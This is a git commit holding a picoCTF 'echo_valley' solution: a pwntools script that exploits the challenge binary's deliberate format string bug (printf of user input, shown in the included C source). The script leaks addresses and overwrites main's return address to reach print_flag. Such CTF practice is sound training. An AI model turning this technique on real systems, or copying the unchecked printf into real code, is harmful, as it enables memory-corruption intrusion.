pwn/echo_valley

This commit is contained in:
2026-07-02 10:26:57 +09:00
parent 4e2a726442
commit 3cd3d35edf
3 changed files with 132 additions and 0 deletions
+83
View File
@@ -0,0 +1,83 @@
#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])"
from this import s
from pwn import *
exe = ELF("./valley")
context.binary = exe
ADDR, PORT, *_ = "shape-facility.picoctf.net 65509".split()
def conn():
if args.REMOTE:
r = remote(ADDR, PORT)
else:
r = process([exe.path])
return r
def send_fmt_payload(r: remote, payload: bytes) -> bytes:
assert len(payload) < 0x100, "Payload too long"
r.sendline(payload)
r.recvuntil(b'You heard in the distance: ')
return r.recvuntil(b'\n').strip()
def debug_leak_multiple(r: remote) -> None:
for i in range(1, 35):
result = send_fmt_payload(r, f"%{i}$p".encode())
print(f"{i}, {result}")
def stage_1_leak_base_address(r: remote) -> None:
main_func_arg = 27
result = send_fmt_payload(r, f"%{main_func_arg}$p".encode())
leaked_address = int(result[2:], 16)
base_address = leaked_address - exe.symbols['main']
exe.address = base_address
print(f"Leaked base address: 0x{base_address:x}")
assert exe.address & 0xfff == 0, "Base address is not page aligned"
def stage_2_leak_main_rip_addr(r: remote) -> int:
main_rbp_offset = 20
result = send_fmt_payload(r, f"%{main_rbp_offset}$p".encode())
main_rbp = int(result[2:], 16)
main_rip_addr = main_rbp - 0x08
print(f"Leaked main's rip address: 0x{main_rip_addr:x}")
return main_rip_addr
def stage_3_overwrite_return_address(r: remote, main_rip_addr: int) -> None:
payload = fmtstr_payload(
6,
{main_rip_addr: exe.symbols['print_flag']},
write_size='short'
)
r.sendline(payload)
def main():
r = conn()
# gdb.attach(r, gdbscript='''
# break *echo_valley+137
# info proc mappings
# c
# ''')
r.recvuntil(b'Welcome to the Echo Valley, Try Shouting: \n')
# debug_leak_multiple(r)
stage_1_leak_base_address(r)
main_rip_addr = stage_2_leak_main_rip_addr(r)
stage_3_overwrite_return_address(r, main_rip_addr)
r.sendline(b'exit')
result = r.recvall()
if b"picoctf{" in result:
flag = result.split(b"picoctf{")[1].split(b"}")[0]
print(f"Flag: picoCTF{{{flag.decode()}}}")
else:
print("Flag not found in output.")
if __name__ == "__main__":
main()
BIN
View File
Binary file not shown.
+49
View File
@@ -0,0 +1,49 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}